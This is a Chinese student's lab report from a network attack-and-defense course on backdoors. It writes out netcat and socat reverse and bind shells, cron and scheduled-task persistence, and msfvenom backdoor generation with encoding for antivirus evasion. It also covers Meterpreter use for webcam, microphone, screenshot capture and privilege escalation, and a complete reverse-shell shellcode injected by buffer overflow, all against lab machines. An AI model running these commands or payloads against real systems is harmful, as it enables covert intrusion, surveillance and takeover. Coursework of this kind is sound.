2019-2020-2 网络对抗技术 20175214 Exp2 后门原理与实践

2019-2020-2 网络对抗技术 20175214 Exp2 后门原理与实践

一、常用的后门工具

  • 1、ncat

    • ncat简介

    • Windows获取kali的shell

      • 首先在Windows中查看本机IP地址为192.168.177.1
      • 然后在Windows命令行中进入解压出来的ncat文件夹,开启监听,ncat.exe -l -p 5214
      • 在kali中反弹链接Windows,nc 192.168.177.1 5214 -e /bin/sh,获取shell
        • 其中,-e 选项用于执行shell
        • 注意,要在有内容的文件夹下测试,我对着空的文件夹ls了半天...
    • kali获得Windows的shell

      • kali在sudo模式下使用ifconfig查看本机ip地址为192.168.177.132
      • 在kali命令行中开启监听,nc -l -p 5214
      • 在Windows命令行中进入解压出来的ncat文件夹反弹链接kali,ncat.exe -e cmd.exe 192.168.177.132 5214
      • 这一步多次出现了积极拒绝报错,但是之后自己又好了,猜测可能是端口被临时占用。
      • 使用dir测试,kali成功获得了Windows的shell
    • kali向Windows中传输文件

      • 在kali中vim一个file.in文件,修改内容并保存;
      • Windows中输入ncat.exe -l 5214 > file.out ,开启监听;
      • kali反弹链接Windows,nc 192.168.177.1 5214 < file.in
  • 2、SoCat

    • Netcat++,超级netcat工具,任何代理、转发等功能都可以用该工具实现。
  • 3、Meterpreter

    • 是通过msfenom把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式运行平台,以及运行参数全都做成零件或可调整的参数从而组成的一个可执行文件。
    • 常用参数
      • -p 使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
      • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
      • -e 使用的编码器,用于对shellcode变形,为了免杀。
      • -i 编码器的迭代次数。如上即使用该编码器编码5次。
      • -b badchar是payload中需要去除的字符。
      • LHOST 是反弹回连的IP
      • LPORT 是回连的端口
      • -f 生成文件的类型
      • > 输出到哪个文件

二、实验内容

(1)使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

  • 1、先在Windows下开启监听;
  • 2、使用crontab指令增加一条定时任务,-e表示编辑,crontab -e;
  • 3、在配置文件设置反向链接时间:s * * * * /bin/netcat 192.168.177.1 5214 -e /bin/sh,即在每个小时的第s分钟自动连接Windows主机的5214端口。

(2)使用socat获取主机操作Shell, 任务计划启动

  • 1、在win中下载socat并解压;

  • 2、计算机管理->任务计划程序->创建任务

  • 3、填写名称;

  • 4、设置触发器,设定启动时间

  • 5、编辑操作,程序脚本选择之前解压的socat.exe文件的路径,参数为tcp-listen:5214 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5209 ,同时把cmd.exe的stderr重定向到stdout上;

  • 6、创建完成后可以在任务库中之前设置的任务准备就绪

  • 7、到达指定时间后,socat自动开始运行

  • 8、然后在回到kali,输入socat - tcp:192.168.177.1:5214 就可以获得windows的shell

    • 其中,参数- 代表标准的输入输出,
    • tcp代表使用流连接到Windows主机的指定端口
    • IP:port为Windows的IP地址和指定的端口,

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 1、在Kali中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 -f exe > 5214_bd.exe,运行结束会在当前文件夹生成一个exe;

    • IP地址选择的是kali的IP,也是之后windows主机反向连接的ip,即控制方ip。
  • 2、在Windows下开启监听,ncat.exe -lv 5214 > 5214_bd.exe

  • 3、在kali中进行传输,输入nc 192.168.177.1 5214 < 5214_bd.exe,传输结束。

    • 此处IP地址选择的是windows的IP,即被控制方ip。

  • 4、在kali上输入msfconsole进入msf控制台,进行配置:

    • use exploit/multi/handler:使用监听模块,设置payload
    • set payload windows/meterpreter/reverse_tcp:使用和生成后门程序时相同的payload
    • set LHOST 192.168.177.132:控制方Kali的IP,需要和之前生成的后门exe时设置的IP相同;
    • set LPORT 5214:设置端口;
  • 5、设置完成后输入exploit,然后在windows中启动5214_bd.exe,kali中将自动获得shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 1、获取音频

    • 使用record_mic 指令可以截获一段音频,使用-d设置录制时间
  • 2、获取摄像头

    • 使用webcam_snap 指令可以使用摄像头进行拍照(这也提醒我们平常摄像头、麦克风等要设置为关闭)
  • 3、截屏

    • 使用screenshot 指令可以进行截屏
  • 4、提权

    • 输入getuid可以查看当前用户
    • 输入getsystem 可以进行提权操作

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 这个项目最难的一点其实就是找到对应的shellcode来执行反弹连接这个操作,不过还好这些步骤在往届学长学姐,还有一些同学的博客里都可以找到,省了我不少功夫。

  • 首先是要下载对应的shellcode,下载地址

  • 然后要注意的是,先打开一个终端进行和实验一相同的关闭地址随机化等操作 我才不会告诉你我又在这玩意上栽了跟头

  • 然后进行和实验一相同的注入工作

    • 在终端A中运行pwn1;
    • 在终端B中查找pwn1的进程号,并用GDB计算esp的地址,也就是shellcode注入的地址,计算得出的是0xffffd6d0
    • 使用下载的代码和算出的地址构造一个shellcode
      • perl -e 'print "A" x 32;print"\xd0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
    • 在新终端中输入msfconsole,进入msf控制台进行配置和开启监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp  //注意,这里的payload就是之前下载的那个
set LHOST 127.0.0.1  // 即本机ip
set LPORT 4444       // 默认配置  
exploit   // 结束配置,开启监听
  • 然后在另一个终端输入(cat input_shellcode;cat) | ./pwn1,按两次回车,此时在之前那个终端就可以看到反弹连接shell成功。

三、问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?
    • 我最经常下载的应该就是网上的一些破解软件,免费软件,它们的安装包就极有可能被人安装了后门,还有钓鱼邮件之类的。
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?
    • windows的话可以通过注册表,自启动项来设置自动运行,或者像这次实验一样设置计划;
    • linux可以通过编写自动运行的脚本来自动启动对应的后门软件;
  • (3)Meterpreter有哪些给你映像深刻的功能?
    • 肯定是获取权限,比如在不知情的情况下你就有可能被获取了摄像头的权限,一举一动都处在别人的监视下,私人信息和机密文件也毫不设防,任人宰割。
      (4)如何发现自己有系统有没有被安装后门?
    • 可以通过注册表编辑器查找未知的自启动项,还有查看被占用的端口等等,但最有效的应该还是定期使用杀毒软件进行系统检查。

四、心得体会

再一次奋战到深夜,比上一次还要晚一些,但却没有多少困意,因为这次实验为我揭开了黑客神秘的面纱,这是我十分感兴趣的。本次实验感觉更偏向于应用,前几项都比较简单,但是加分项就有些麻烦了,需要联动之前实验1的内容,并且加以实践,期间参考了很多网上的材料、学长以及一些同学的博客,这些材料除了本身的知识,其背后蕴含的思考方式同样让我受益良多,层层递进的思考,猜想并加以验证,思维的碰撞让我着迷。
这次实验让我学会了后门的基本原理以及基本的操作,也了解了后门带来的危害,明白了系统安全的重要性,通过查阅资料也锻炼了我的自学能力,收获很大。

posted @ 2020-03-14 03:59  20175214lzc  阅读(294)  评论(1编辑  收藏  举报